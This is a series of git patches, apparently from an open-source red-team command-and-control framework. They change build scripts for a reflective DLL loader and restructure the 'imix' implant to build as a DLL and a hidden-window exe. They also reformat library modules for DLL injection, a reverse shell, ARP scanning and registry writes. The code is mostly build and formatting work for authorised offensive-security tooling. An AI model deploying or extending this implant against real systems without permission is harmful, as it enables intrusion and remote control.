From fb09f168cfd5ad659118c214086daabc24523044 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Sun, 5 May 2024 23:24:34 +0000 Subject: [PATCH 01/29] Cross compiles. --- implants/lib/eldritch/build.rs | 80 +++++++++++++++++++++++----------- 1 file changed, 54 insertions(+), 26 deletions(-) diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs index d57184e90..40fd69601 100644 --- a/implants/lib/eldritch/build.rs +++ b/implants/lib/eldritch/build.rs @@ -1,8 +1,6 @@ use anyhow::Result; - - -#[cfg(all(target_os = "windows", debug_assertions))] +#[cfg(debug_assertions)] fn build_bin_create_file_dll() { use std::{ io::{BufRead, BufReader}, @@ -11,13 +9,13 @@ fn build_bin_create_file_dll() { }; // Define which files should cause this section to be rebuilt. - println!("cargo:rerun-if-changed=..\\..\\..\\bin\\create_file_dll\\src\\lib.rs"); - println!("cargo:rerun-if-changed=..\\..\\..\\bin\\create_file_dll\\src\\main.rs"); - println!("cargo:rerun-if-changed=..\\..\\..\\bin\\create_file_dll\\Cargo.toml"); + println!("cargo:rerun-if-changed=../../../bin/create_file_dll/src/lib.rs"); + println!("cargo:rerun-if-changed=../../../bin/create_file_dll/src/main.rs"); + println!("cargo:rerun-if-changed=../../../bin/create_file_dll/Cargo.toml"); // Get the path of the create_file_dll workspace member let cargo_root = env!("CARGO_MANIFEST_DIR"); - let relative_path_to_test_dll = "..\\..\\..\\bin\\create_file_dll\\"; + let relative_path_to_test_dll = "../../../bin/create_file_dll/"; let test_dll_path = Path::new(cargo_root).join(relative_path_to_test_dll); println!("test_dll_path: {}", test_dll_path.to_str().unwrap()); assert!(test_dll_path.is_dir()); @@ -39,12 +37,11 @@ fn build_bin_create_file_dll() { .for_each(|line| println!("cargo dll build: {}", line)); let relative_path_to_test_dll_file = - "..\\..\\..\\bin\\create_file_dll\\target\\debug\\create_file_dll.dll"; + "../../../bin/create_file_dll/target/debug/create_file_dll.dll"; let test_dll_path = Path::new(cargo_root).join(relative_path_to_test_dll_file); assert!(test_dll_path.is_file()); } -#[cfg(target_os = "windows")] fn build_bin_reflective_loader() { use std::{ io::{BufRead, BufReader}, @@ -52,15 +49,41 @@ fn build_bin_reflective_loader() { process::{Command, Stdio}, }; + let target_arch = std::env::var_os("CARGO_CFG_TARGET_ARCH").unwrap(); + let target_arch_str = target_arch.to_str().unwrap(); + let target_vendor = std::env::var_os("CARGO_CFG_TARGET_VENDOR").unwrap(); + let target_vendor_str = target_vendor.to_str().unwrap(); + let target_os = std::env::var_os("CARGO_CFG_TARGET_OS").unwrap(); + let target_os_str = target_os.to_str().unwrap(); + let target_env = std::env::var_os("CARGO_CFG_TARGET_ENV").unwrap(); + let target_env_str = target_env.to_str().unwrap(); + + let target_triple = + format!("{target_arch_str}-{target_vendor_str}-{target_os_str}-{target_env_str}"); + + let cargo_root = env!("CARGO_MANIFEST_DIR"); + + let reflective_loader_path_str = "../../../bin/reflective_loader"; + let loader_files = [ + "src/lib.rs", + "src/loader.rs", + "Cargo.toml", + &format!("target/{target_triple}/release/reflective_loader.dll"), + ]; // Define which files should cause this section to be rebuilt. - println!("cargo:rerun-if-changed=..\\..\\..\\bin\\reflective_loader\\src\\lib.rs"); - println!("cargo:rerun-if-changed=..\\..\\..\\bin\\reflective_loader\\src\\loader.rs"); - println!("cargo:rerun-if-changed=..\\..\\..\\bin\\reflective_loader\\Cargo.toml"); + for f in loader_files { + let binding = format!("{}/{}", reflective_loader_path_str, f); + let tmp_path = Path::new(cargo_root).join(binding.as_str()); + let tmp_str = tmp_path.to_str().unwrap(); + println!("cargo:rerun-if-changed={tmp_str}"); + } // Get the path of the create_file_dll workspace member - let cargo_root = env!("CARGO_MANIFEST_DIR"); - let relative_path_to_test_dll = "..\\..\\..\\bin\\reflective_loader\\"; - let test_dll_path = Path::new(cargo_root).join(relative_path_to_test_dll); + let relative_path_to_test_dll = "../../../bin/reflective_loader/"; + let test_dll_path = Path::new(cargo_root) + .join(relative_path_to_test_dll) + .canonicalize() + .unwrap(); assert!(test_dll_path.is_dir()); println!("Starting cargo build lib"); @@ -68,12 +91,11 @@ fn build_bin_reflective_loader() { .args([ "build", "--release", - "-Z", - "build-std=core,compiler_builtins", - "-Z", - "build-std-features=compiler-builtins-mem", + "--lib", + &format!("--target={target_triple}"), ]) .current_dir(test_dll_path.clone()) + .env("RUSTFLAGS", "-C target-feature=+crt-static") .stderr(Stdio::piped()) .spawn() .unwrap() @@ -86,9 +108,11 @@ fn build_bin_reflective_loader() { .map_while(Result::ok) .for_each(|line| println!("cargo dll build: {}", line)); - let relative_path_to_test_dll_file = "..\\..\\..\\bin\\reflective_loader\\target\\x86_64-pc-windows-msvc\\release\\reflective_loader.dll"; - let test_dll_path = Path::new(cargo_root).join(relative_path_to_test_dll_file); - assert!(test_dll_path.is_file()); + let relative_path_to_test_dll_file = format!( + "../../../bin/reflective_loader/target/{target_triple}/release/reflective_loader.dll" + ); + let loader_dll_path = Path::new(cargo_root).join(relative_path_to_test_dll_file); + assert!(loader_dll_path.is_file()); } #[cfg(windows)] @@ -103,10 +127,14 @@ fn set_host_family() { fn main() -> Result<()> { set_host_family(); - #[cfg(all(target_os = "windows", debug_assertions))] - build_bin_create_file_dll(); - #[cfg(target_os = "windows")] - build_bin_reflective_loader(); + let binding = std::env::var_os("CARGO_CFG_TARGET_OS").unwrap(); + let build_target_os = binding.to_str().unwrap(); + + if build_target_os == "windows" { + #[cfg(debug_assertions)] + build_bin_create_file_dll(); + build_bin_reflective_loader(); + } Ok(()) } From fdb3eb3d5f37c1528caaca67f9501623c3002519 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Sun, 5 May 2024 23:56:21 +0000 Subject: [PATCH 02/29] Remove references to building loader manually. --- .github/workflows/tests.yml | 7 ------- docs/_docs/user-guide/imix.md | 5 ----- 2 files changed, 12 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 844cb2b2a..f2df4c16e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -60,13 +60,6 @@ jobs: toolchain: 'nightly-2024-02-11' default: false profile: minimal - - if: matrix.os == 'windows-latest' - shell: powershell - name: Build reflective loader - run: | - cd ./bin/reflective_loader/ - rustup component add rust-src --toolchain nightly-2024-02-11-x86_64-pc-windows-msvc - cargo build --release -Z build-std=core,compiler_builtins -Z build-std-features=compiler-builtins-mem - name: rust-cache uses: Swatinem/rust-cache@v2 with: diff --git a/docs/_docs/user-guide/imix.md b/docs/_docs/user-guide/imix.md index 3011f75fd..edf8cae7d 100644 --- a/docs/_docs/user-guide/imix.md +++ b/docs/_docs/user-guide/imix.md @@ -84,11 +84,6 @@ rustup target add x86_64-pc-windows-gnu sudo apt update sudo apt install gcc-mingw-w64 -# Build the reflective loader -cd realm/bin/reflective_loader -RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --lib --target=x86_64-pc-windows-gnu -# You may have to adjust `LOADER_BYTES` include path in `dll_reflect_impl.rs` changing `x86_64-pc-windows-msvc` ---> `x86_64-pc-windows-gnu` - # Build imix cd realm/implants/imix/ # Build imix.exe From 207d9c4ae36a49e6ed0db794efbfb4a0f9c959aa Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 00:47:25 +0000 Subject: [PATCH 03/29] Enable DLL and exe builds. --- implants/imix/Cargo.toml | 3 ++ implants/imix/src/lib.rs | 59 ++++++++++----------------------------- implants/imix/src/main.rs | 16 +++++++---- implants/imix/src/run.rs | 48 +++++++++++++++++++++++++++++++ 4 files changed, 75 insertions(+), 51 deletions(-) create mode 100644 implants/imix/src/run.rs diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml index 009c8fb81..e19a6e5ba 100644 --- a/implants/imix/Cargo.toml +++ b/implants/imix/Cargo.toml @@ -3,6 +3,9 @@ name = "imix" version = "0.0.5" edition = "2021" +[lib] +crate-type = ["cdylib"] + [features] # Check if compiled by imix win_service = [] diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs index a31458414..269f0d80c 100644 --- a/implants/imix/src/lib.rs +++ b/implants/imix/src/lib.rs @@ -1,57 +1,26 @@ +#![allow(dead_code)] mod agent; mod config; mod install; +mod run; mod task; mod version; #[cfg(feature = "win_service")] pub mod win_service; -use std::time::Duration; - -pub use agent::Agent; -use clap::Command; -pub use config::Config; -pub use install::install; - - -pub async fn handle_main(){ - if let Some(("install", _)) = Command::new("imix") - .subcommand(Command::new("install").about("Install imix")) - .get_matches() - .subcommand() - { - install().await; - return; - } - - loop { - let cfg = Config::default(); - let retry_interval = cfg.retry_interval; - #[cfg(debug_assertions)] - log::info!("agent config initialized {:#?}", cfg.clone()); - - match run(cfg).await { - Ok(_) => {} - Err(_err) => { - #[cfg(debug_assertions)] - log::error!("callback loop fatal: {_err}"); - - tokio::time::sleep(Duration::from_secs(retry_interval)).await; - } +#[tokio::main(flavor = "multi_thread", worker_threads = 128)] +async fn lib_entry() { + #[cfg(debug_assertions)] + run::init_logging(); + + #[cfg(feature = "win_service")] + match windows_service::service_dispatcher::start("imix", ffi_service_main) { + Ok(_) => {} + Err(_err) => { + #[cfg(debug_assertions)] + log::error!("Failed to start service (running as exe?): {_err}"); } } -} - -async fn run(cfg: Config) -> anyhow::Result<()> { - let mut agent = Agent::new(cfg)?; - agent.callback_loop().await?; - Ok(()) -} -#[cfg(debug_assertions)] -pub fn init_logging() { - pretty_env_logger::formatted_timed_builder() - .filter_level(log::LevelFilter::Info) - .parse_env("IMIX_LOG") - .init(); + run::handle_main().await } diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs index 43067ea69..9dcaac489 100644 --- a/implants/imix/src/main.rs +++ b/implants/imix/src/main.rs @@ -3,29 +3,33 @@ #[macro_use] extern crate windows_service; -use imix::handle_main; - +mod agent; +mod config; +mod install; +mod run; +mod task; +mod version; +use run::handle_main; // ============= Standard =============== #[tokio::main(flavor = "multi_thread", worker_threads = 128)] async fn main() { #[cfg(debug_assertions)] - imix::init_logging(); + run::init_logging(); #[cfg(feature = "win_service")] match windows_service::service_dispatcher::start("imix", ffi_service_main) { - Ok(_) => {}, + Ok(_) => {} Err(_err) => { #[cfg(debug_assertions)] log::error!("Failed to start service (running as exe?): {_err}"); - }, + } } handle_main().await } - // ============ Windows Service ============= #[cfg(all(feature = "win_service", not(target_os = "windows")))] diff --git a/implants/imix/src/run.rs b/implants/imix/src/run.rs new file mode 100644 index 000000000..e613c51b4 --- /dev/null +++ b/implants/imix/src/run.rs @@ -0,0 +1,48 @@ +use clap::Command; +use std::time::Duration; + +pub use crate::agent::Agent; +pub use crate::config::Config; +pub use crate::install::install; + +pub async fn handle_main() { + if let Some(("install", _)) = Command::new("imix") + .subcommand(Command::new("install").about("Install imix")) + .get_matches() + .subcommand() + { + install().await; + return; + } + + loop { + let cfg = Config::default(); + let retry_interval = cfg.retry_interval; + #[cfg(debug_assertions)] + log::info!("agent config initialized {:#?}", cfg.clone()); + + match run(cfg).await { + Ok(_) => {} + Err(_err) => { + #[cfg(debug_assertions)] + log::error!("callback loop fatal: {_err}"); + + tokio::time::sleep(Duration::from_secs(retry_interval)).await; + } + } + } +} + +async fn run(cfg: Config) -> anyhow::Result<()> { + let mut agent = Agent::new(cfg)?; + agent.callback_loop().await?; + Ok(()) +} + +#[cfg(debug_assertions)] +pub fn init_logging() { + pretty_env_logger::formatted_timed_builder() + .filter_level(log::LevelFilter::Info) + .parse_env("IMIX_LOG") + .init(); +} From 500cf1792841172fc96052441a4902cdcd01b2e5 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 00:55:17 +0000 Subject: [PATCH 04/29] msvc needs a special build. --- implants/lib/eldritch/build.rs | 47 ++++++++++++++++++++++++---------- 1 file changed, 33 insertions(+), 14 deletions(-) diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs index 40fd69601..842dd6907 100644 --- a/implants/lib/eldritch/build.rs +++ b/implants/lib/eldritch/build.rs @@ -87,20 +87,39 @@ fn build_bin_reflective_loader() { assert!(test_dll_path.is_dir()); println!("Starting cargo build lib"); - let res_build = Command::new("cargo") - .args([ - "build", - "--release", - "--lib", - &format!("--target={target_triple}"), - ]) - .current_dir(test_dll_path.clone()) - .env("RUSTFLAGS", "-C target-feature=+crt-static") - .stderr(Stdio::piped()) - .spawn() - .unwrap() - .stderr - .unwrap(); + // Define custom builds based on the target triple + let res_build = match target_triple.as_str() { + "x86_64-pc-windows-msvc" => Command::new("cargo") + .args([ + "build", + "-Z", + "build-std=core,compiler_builtins", + "-Z", + "build-std-features=compiler-builtins-mem", + &format!("--target={target_triple}"), + ]) + .current_dir(test_dll_path.clone()) + .env("RUSTFLAGS", "-C target-feature=+crt-static") + .stderr(Stdio::piped()) + .spawn() + .unwrap() + .stderr + .unwrap(), + _ => Command::new("cargo") + .args([ + "build", + "--release", + "--lib", + &format!("--target={target_triple}"), + ]) + .current_dir(test_dll_path.clone()) + .env("RUSTFLAGS", "-C target-feature=+crt-static") + .stderr(Stdio::piped()) + .spawn() + .unwrap() + .stderr + .unwrap(), + }; let reader = BufReader::new(res_build); reader From f2d1669477673223b24f7fb089f12a1a04e8f399 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:01:49 +0000 Subject: [PATCH 05/29] Cause builds to fail when warn --- implants/golem/src/lib.rs | 2 ++ implants/golem/src/main.rs | 2 ++ implants/imix/src/lib.rs | 1 + implants/imix/src/main.rs | 4 ++- implants/lib/eldritch/src/lib.rs | 2 ++ .../lib/eldritch/src/random/string_impl.rs | 25 +++++++++---------- .../src/runtime/messages/reverse_shell_pty.rs | 1 + 7 files changed, 23 insertions(+), 14 deletions(-) diff --git a/implants/golem/src/lib.rs b/implants/golem/src/lib.rs index 537b47def..7ed0a3a55 100644 --- a/implants/golem/src/lib.rs +++ b/implants/golem/src/lib.rs @@ -1,3 +1,5 @@ +#![deny(warnings)] + #[derive(Debug)] pub enum Error { Io(std::io::Error), diff --git a/implants/golem/src/main.rs b/implants/golem/src/main.rs index df4c45c09..8f6be18e1 100644 --- a/implants/golem/src/main.rs +++ b/implants/golem/src/main.rs @@ -1,3 +1,5 @@ +#![deny(warnings)] + extern crate eldritch; extern crate golem; diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs index 269f0d80c..00c9feb95 100644 --- a/implants/imix/src/lib.rs +++ b/implants/imix/src/lib.rs @@ -1,3 +1,4 @@ +#![deny(warnings)] #![allow(dead_code)] mod agent; mod config; diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs index 9dcaac489..501e3c2a4 100644 --- a/implants/imix/src/main.rs +++ b/implants/imix/src/main.rs @@ -1,4 +1,6 @@ -// #![windows_subsystem = "windows"] +#![windows_subsystem = "windows"] +#![deny(warnings)] + #[cfg(all(feature = "win_service", windows))] #[macro_use] extern crate windows_service; diff --git a/implants/lib/eldritch/src/lib.rs b/implants/lib/eldritch/src/lib.rs index b602966ae..e6a1c046b 100644 --- a/implants/lib/eldritch/src/lib.rs +++ b/implants/lib/eldritch/src/lib.rs @@ -1,3 +1,5 @@ +#![deny(warnings)] + pub mod assets; pub mod crypto; pub mod file; diff --git a/implants/lib/eldritch/src/random/string_impl.rs b/implants/lib/eldritch/src/random/string_impl.rs index 207c64f73..feeee7791 100644 --- a/implants/lib/eldritch/src/random/string_impl.rs +++ b/implants/lib/eldritch/src/random/string_impl.rs @@ -1,24 +1,23 @@ use anyhow::Result; -use rand::distributions::{Alphanumeric, Uniform, DistString, Distribution}; +use rand::distributions::{Alphanumeric, DistString, Distribution, Uniform}; pub fn string(length: u64, charset_opt: Option) -> Result { - match charset_opt { + let res = match charset_opt { Some(charset) => { - let strlen = charset.chars().count().into(); + let strlen = charset.chars().count(); let rand_dist = Uniform::from(0..strlen); let mut rng = rand::thread_rng(); let mut s = "".to_string(); for _ in 0..length { let index = rand_dist.sample(&mut rng); s.push(charset.chars().nth(index).unwrap()); - }; - return Ok(s); - }, - None => { - let s = Alphanumeric.sample_string(&mut rand::thread_rng(), length as usize); - return Ok(s); + } + s } - } + None => Alphanumeric.sample_string(&mut rand::thread_rng(), length as usize), + }; + + Ok(res) } #[cfg(test)] @@ -50,8 +49,8 @@ mod tests { for _ in 0..=NUM_ITERATION { let new_str = string(16, None)?; assert_eq!(new_str.chars().count(), 16); - if !result_str.insert(new_str){ - assert!(false); + if !result_str.insert(new_str) { + panic!("test_string_uniform - failed"); } } Ok(()) @@ -66,4 +65,4 @@ mod tests { } Ok(()) } -} \ No newline at end of file +} diff --git a/implants/lib/eldritch/src/runtime/messages/reverse_shell_pty.rs b/implants/lib/eldritch/src/runtime/messages/reverse_shell_pty.rs index 17be34238..bed5dd6b8 100644 --- a/implants/lib/eldritch/src/runtime/messages/reverse_shell_pty.rs +++ b/implants/lib/eldritch/src/runtime/messages/reverse_shell_pty.rs @@ -2,6 +2,7 @@ use super::Dispatcher; use anyhow::Result; use pb::c2::{ReverseShellMessageKind, ReverseShellRequest}; use portable_pty::{native_pty_system, CommandBuilder, PtySize}; +#[cfg(not(target_os = "windows"))] use std::path::Path; use tokio::sync::mpsc::error::TryRecvError; use transport::Transport; From dd89cd650cc2bc6c671098f0fdeea5c85129e81f Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:13:27 +0000 Subject: [PATCH 06/29] formating --- implants/lib/eldritch/src/file/follow_impl.rs | 8 +- .../lib/eldritch/src/file/parent_dir_impl.rs | 1 - .../lib/eldritch/src/pivot/arp_scan_impl.rs | 21 +- .../lib/eldritch/src/process/netstat_impl.rs | 2 +- .../lib/eldritch/src/regex/match_all_impl.rs | 5 +- implants/lib/eldritch/src/regex/match_impl.rs | 7 +- .../lib/eldritch/src/sys/dll_reflect_impl.rs | 3 +- implants/lib/eldritch/src/sys/get_ip_impl.rs | 4 +- implants/lib/eldritch/src/sys/get_reg_impl.rs | 3 +- .../eldritch/src/sys/write_reg_hex_impl.rs | 609 +++++++++--------- .../eldritch/src/sys/write_reg_int_impl.rs | 593 +++++++++-------- .../eldritch/src/sys/write_reg_str_impl.rs | 3 +- implants/lib/eldritch/src/time/now_impl.rs | 2 +- implants/rustfmt.toml | 2 +- 14 files changed, 630 insertions(+), 633 deletions(-) diff --git a/implants/lib/eldritch/src/file/follow_impl.rs b/implants/lib/eldritch/src/file/follow_impl.rs index 46706c0b8..075732c1d 100644 --- a/implants/lib/eldritch/src/file/follow_impl.rs +++ b/implants/lib/eldritch/src/file/follow_impl.rs @@ -1,5 +1,5 @@ -use std::io::{Seek, BufReader, BufRead}; -use notify::{Watcher, RecursiveMode, RecommendedWatcher, Config}; +use notify::{Config, RecommendedWatcher, RecursiveMode, Watcher}; +use std::io::{BufRead, BufReader, Seek}; use anyhow::Result; use starlark::{eval::Evaluator, values::Value}; @@ -32,8 +32,8 @@ pub fn follow<'v>(path: String, f: Value<'v>, eval: &mut Evaluator<'v, '_>) -> R for line in reader.lines() { let val = starlark_heap.alloc(line?.to_string()); match eval.eval_function(f, &[val], &[]) { - Ok(_) => {}, - Err(err) => {return Err(err.into_anyhow())}, + Ok(_) => {} + Err(err) => return Err(err.into_anyhow()), }; } } diff --git a/implants/lib/eldritch/src/file/parent_dir_impl.rs b/implants/lib/eldritch/src/file/parent_dir_impl.rs index 8a15db5a0..24c331156 100644 --- a/implants/lib/eldritch/src/file/parent_dir_impl.rs +++ b/implants/lib/eldritch/src/file/parent_dir_impl.rs @@ -48,7 +48,6 @@ mod test { pub want_text: String, } - test_cases! { simple_ssh: TestCase{ id: 123, diff --git a/implants/lib/eldritch/src/pivot/arp_scan_impl.rs b/implants/lib/eldritch/src/pivot/arp_scan_impl.rs index 3c840ac44..535b65a27 100644 --- a/implants/lib/eldritch/src/pivot/arp_scan_impl.rs +++ b/implants/lib/eldritch/src/pivot/arp_scan_impl.rs @@ -1,13 +1,6 @@ #[cfg(not(target_os = "windows"))] use { super::super::insert_dict_kv, - starlark::collections::SmallMap, - starlark::const_frozen_string, - std::collections::HashMap, - std::net::{IpAddr, Ipv4Addr}, - std::str::FromStr, - std::sync::{Arc, Mutex}, - std::time::{Duration, SystemTime}, ipnetwork::{IpNetwork, Ipv4Network}, pnet::{ datalink::{self, channel, Channel::Ethernet, NetworkInterface}, @@ -18,9 +11,16 @@ use { }, util::MacAddr, }, + starlark::collections::SmallMap, + starlark::const_frozen_string, + std::collections::HashMap, + std::net::{IpAddr, Ipv4Addr}, + std::str::FromStr, + std::sync::{Arc, Mutex}, + std::time::{Duration, SystemTime}, }; -use anyhow::{anyhow,Result}; +use anyhow::{anyhow, Result}; use starlark::values::{dict::Dict, Heap}; #[cfg(not(target_os = "windows"))] @@ -322,10 +322,7 @@ mod tests { thread::sleep(Duration::from_secs(3)); let loopback = { let interfaces = interfaces(); - interfaces - .iter().find(|x| x.is_loopback()) - .unwrap() - .clone() + interfaces.iter().find(|x| x.is_loopback()).unwrap().clone() }; assert!(start_listener(loopback, data).is_err()); } diff --git a/implants/lib/eldritch/src/process/netstat_impl.rs b/implants/lib/eldritch/src/process/netstat_impl.rs index 4dae95b9e..28b62c8bd 100644 --- a/implants/lib/eldritch/src/process/netstat_impl.rs +++ b/implants/lib/eldritch/src/process/netstat_impl.rs @@ -1,7 +1,7 @@ use super::super::insert_dict_kv; -use anyhow::Result; #[cfg(target_os = "freebsd")] use anyhow::anyhow; +use anyhow::Result; #[cfg(not(target_os = "freebsd"))] use netstat2::*; use starlark::{ diff --git a/implants/lib/eldritch/src/regex/match_all_impl.rs b/implants/lib/eldritch/src/regex/match_all_impl.rs index 80fe396ce..e4fa756d6 100644 --- a/implants/lib/eldritch/src/regex/match_all_impl.rs +++ b/implants/lib/eldritch/src/regex/match_all_impl.rs @@ -7,7 +7,10 @@ pub fn match_all(haystack: String, pattern: String) -> Result> { // `- 1` is due to how Rust tracks the groups (https://docs.rs/regex/latest/regex/struct.CaptureLocations.html#method.len) let num_capture_groups = re.capture_locations().len() - 1; if num_capture_groups != 1 { - return Err(anyhow!("only 1 capture group is supported but {} given", num_capture_groups)) + return Err(anyhow!( + "only 1 capture group is supported but {} given", + num_capture_groups + )); } for captures in re.captures_iter(haystack.as_str()) { // `get(1)` due to how Rust tracks the captures (https://docs.rs/regex/latest/regex/struct.Captures.html#method.get) diff --git a/implants/lib/eldritch/src/regex/match_impl.rs b/implants/lib/eldritch/src/regex/match_impl.rs index 182c0dc1d..3bd429cb9 100644 --- a/implants/lib/eldritch/src/regex/match_impl.rs +++ b/implants/lib/eldritch/src/regex/match_impl.rs @@ -6,12 +6,15 @@ pub fn r#match(haystack: String, pattern: String) -> Result { // `- 1` is due to how Rust tracks the groups (https://docs.rs/regex/latest/regex/struct.CaptureLocations.html#method.len) let num_capture_groups = re.capture_locations().len() - 1; if num_capture_groups != 1 { - return Err(anyhow!("only 1 capture group is supported but {} given", num_capture_groups)) + return Err(anyhow!( + "only 1 capture group is supported but {} given", + num_capture_groups + )); } if let Some(captures) = re.captures(haystack.as_str()) { // `get(1)` due to how Rust tracks the captures (https://docs.rs/regex/latest/regex/struct.Captures.html#method.get) if let Some(m) = captures.get(1) { - return Ok(String::from(m.as_str())) + return Ok(String::from(m.as_str())); } } Ok(String::new()) diff --git a/implants/lib/eldritch/src/sys/dll_reflect_impl.rs b/implants/lib/eldritch/src/sys/dll_reflect_impl.rs index 439786f7c..dc43925a3 100644 --- a/implants/lib/eldritch/src/sys/dll_reflect_impl.rs +++ b/implants/lib/eldritch/src/sys/dll_reflect_impl.rs @@ -524,7 +524,8 @@ mod tests { let test_eldritch_script = r#" func_dll_reflect(input_params['dll_bytes'], input_params['target_pid'], "demo_init") -"#.to_string(); +"# + .to_string(); let ast = match AstModule::parse( "test.eldritch", diff --git a/implants/lib/eldritch/src/sys/get_ip_impl.rs b/implants/lib/eldritch/src/sys/get_ip_impl.rs index 2be850bf7..c173d6abb 100644 --- a/implants/lib/eldritch/src/sys/get_ip_impl.rs +++ b/implants/lib/eldritch/src/sys/get_ip_impl.rs @@ -52,10 +52,8 @@ fn handle_get_ip() -> Result> { Some(netmask) => { let cidr = netmask_to_cidr(netmask)?; ips.push(format!("{}/{}", ip.ip(), cidr)); - }, - None => { - ips.push(ip.ip().to_string()) } + None => ips.push(ip.ip().to_string()), } } else { ips.push(ip.ip().to_string()) diff --git a/implants/lib/eldritch/src/sys/get_reg_impl.rs b/implants/lib/eldritch/src/sys/get_reg_impl.rs index 3bc836221..6264953dd 100644 --- a/implants/lib/eldritch/src/sys/get_reg_impl.rs +++ b/implants/lib/eldritch/src/sys/get_reg_impl.rs @@ -69,8 +69,7 @@ mod tests { let id = Uuid::new_v4(); //Write something into temp regkey... let hkcu = RegKey::predef(HKEY_CURRENT_USER); - let (nkey, _ndisp) = - hkcu.create_subkey(format!("SOFTWARE\\{}", id))?; + let (nkey, _ndisp) = hkcu.create_subkey(format!("SOFTWARE\\{}", id))?; nkey.set_value("FOO", &"BAR")?; let ares = get_reg( diff --git a/implants/lib/eldritch/src/sys/write_reg_hex_impl.rs b/implants/lib/eldritch/src/sys/write_reg_hex_impl.rs index 387bc2244..f8a907f1e 100644 --- a/implants/lib/eldritch/src/sys/write_reg_hex_impl.rs +++ b/implants/lib/eldritch/src/sys/write_reg_hex_impl.rs @@ -1,305 +1,304 @@ -use anyhow::Result; - -#[allow(unused_variables)] -pub fn write_reg_hex( - reghive: String, - regpath: String, - regname: String, - regtype: String, - regvalue: String, -) -> Result { - #[cfg(not(target_os = "windows"))] - return Err(anyhow::anyhow!( - "This OS isn't supported by the write_reg function. Only windows systems are supported" - )); - - #[cfg(target_os = "windows")] - { - use winreg::{enums::*, RegKey, RegValue}; - - //Accepted values for reghive : - //HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT, HKEY_PERFORMANCE_NLSTEXT, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA, HKEY_CURRENT_USER_LOCAL_SETTINGS - let ihive: isize = match reghive.as_ref() { - "HKEY_CLASSES_ROOT" => HKEY_CLASSES_ROOT, - "HKEY_CURRENT_USER" => HKEY_CURRENT_USER, - "HKEY_LOCAL_MACHINE" => HKEY_LOCAL_MACHINE, - "HKEY_USERS" => HKEY_USERS, - "HKEY_PERFORMANCE_DATA" => HKEY_PERFORMANCE_DATA, - "HKEY_PERFORMANCE_TEXT" => HKEY_PERFORMANCE_TEXT, - "HKEY_PERFORMANCE_NLSTEXT" => HKEY_PERFORMANCE_NLSTEXT, - "HKEY_CURRENT_CONFIG" => HKEY_CURRENT_CONFIG, - "HKEY_DYN_DATA" => HKEY_DYN_DATA, - "HKEY_CURRENT_USER_LOCAL_SETTINGS" => HKEY_CURRENT_USER_LOCAL_SETTINGS, - _ => return Err(anyhow::anyhow!("RegHive can only be one of the following values - HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT, HKEY_PERFORMANCE_NLSTEXT, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA, HKEY_CURRENT_USER_LOCAL_SETTINGS ")), - - }; - - let hive = RegKey::predef(ihive); - let (nkey, _ndisp) = hive.create_subkey(regpath)?; - - match regtype.as_ref() { - "REG_NONE" => { - nkey.set_value(regname, ®value)?; - }, - "REG_SZ" => nkey.set_value(regname, ®value)?, - "REG_EXPAND_SZ" => nkey.set_value(regname, ®value)?, - "REG_BINARY" => { - let parsed_value: Vec = hex::decode(regvalue)?; - let data = RegValue{ vtype: REG_BINARY, bytes: parsed_value}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_DWORD" => { - let parsed_value: Vec = hex::decode(regvalue)?; - let data = RegValue{ vtype: REG_DWORD, bytes: parsed_value}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_DWORD_BIG_ENDIAN" => { - let parsed_value: u32 = u32::from_str_radix(®value, 16)?; - let data = RegValue{ vtype: REG_DWORD_BIG_ENDIAN, bytes: parsed_value.to_be_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_LINK" => { - nkey.set_value(regname, ®value)?; - }, - "REG_MULTI_SZ" => { - let parsed_value: Vec<&str> = regvalue.split(',').collect(); - nkey.set_value(regname, &parsed_value)?; - }, - "REG_RESOURCE_LIST" => { - let parsed_value: Vec = hex::decode(regvalue)?; - let data = RegValue{ vtype: REG_RESOURCE_LIST, bytes: parsed_value}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_FULL_RESOURCE_DESCRIPTOR" => { - let parsed_value: Vec = hex::decode(regvalue)?; - let data = RegValue{ vtype: REG_FULL_RESOURCE_DESCRIPTOR, bytes: parsed_value}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_RESOURCE_REQUIREMENTS_LIST" => { - let parsed_value: Vec = hex::decode(regvalue)?; - let data = RegValue{ vtype: REG_RESOURCE_REQUIREMENTS_LIST, bytes: parsed_value}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_QWORD" => { - let parsed_value: u64 = u64::from_str_radix(®value, 16)?; - let data = RegValue{ vtype: REG_QWORD, bytes: parsed_value.to_le_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - _ => return Err(anyhow::anyhow!("RegType can only be one of the following values - REG_NONE, REG_SZ, REG_EXPAND_SZ, REG_BINARY, REG_DWORD, 